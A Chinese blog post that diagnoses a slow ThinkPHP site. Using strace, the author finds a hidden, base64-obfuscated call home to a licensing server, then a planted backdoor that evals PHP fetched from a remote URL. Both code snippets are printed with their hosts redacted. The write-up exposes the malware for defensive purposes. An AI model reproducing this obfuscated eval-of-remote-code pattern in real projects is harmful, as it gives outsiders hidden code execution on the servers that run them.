前些天弄了套thinkphp源码来玩,结果,今天发现极其卡顿,明显不正常。直觉就是远程访问了个啥东西,因为这卡顿时间还不固定,时快时慢,但昨天前又都是正常的。
花了几个小时,终于找到了问题。记录下排查核心点。

strace -fp $(pgrep -d, php-fpm) -e trace=network,open,read,write,connect 排查一下php偷偷在后面访问了些啥

找到了:

[pid  6412] getpeername(7, {sa_family=AF_INET, sin_port=htons(83), sin_addr=inet_addr("x.x.x.x")}, [128 => 16]) = 0
[pid  6412] getsockname(7, {sa_family=AF_INET, sin_port=htons(36752), sin_addr=inet_addr("x.x.x.x")}, [128 => 16]) = 0
[pid  6412] sendto(7, "POST /xxxx/getAuth HT"..., 186, MSG_NOSIGNAL, NULL, 0) = 186
[pid  6412] sendto(7, "--------------------------fab30f"..., 993, MSG_NOSIGNAL, NULL, 0) = 993

php在后台post了个 http://x.x.x.x:83/...../getAuth,显然,这就是问题了。
这台机器应该是今天不稳定,所以,getAuth很久才响应,引起了系统卡顿。
知道getAuth了就容易了,grep -r 一下,所有的getAuth都找到,然后log一下,瞬间就找到了执行它的代码:

        public function __construct($uniacid, $goodsName, $is_debug = false)
        {
                $this->is_debug = $is_debug;
                $this->token_path = dirname(__FILE__) . "/token.key";
                $this->uniacid = $uniacid . "";
                $this->goods_name = $goodsName;
            $this->base_url = base64_decode('xxxxxxxxxxxxxxxxxxxxxxxx');
、        $this->check_url = $this->base_url .'auth/xxxxxxx/index';
        $this->uploadWxapp_url = $this->base_url .'auth/xxxxxxxx/uploadWxapp';
        $this->getUpRecord_url = $this->base_url .'auth/xxxxxx/getUpRecord';
        $this->get_auth_url = $this->base_url .'auth/xxxxxx/getAuth' ;

再清楚不过了,它把base_url用base64加了下密,难怪grep不到那个ip地址。
把base_url改成 http://127.0.0.1,搞定,完事。

然后,用这个ip的base64值,又找到了很多好玩的东西:

<?php
namespace app\agent\controller;

use think\App;

class HouseController
{
   public function list ()
    {
    eval(file_get_contents(base64_decode('xxxxxxxxxx')));exit;
    }

}

上面base64解码出来是: http://xxxxxxx/excesqls.php
尼玛。。

标签: none

添加新评论

*如果只是需要与我沟通联系,请telegram @ohyessure, 而不要用评论方式,因为没有你的个人资料,我无法回复及联络你。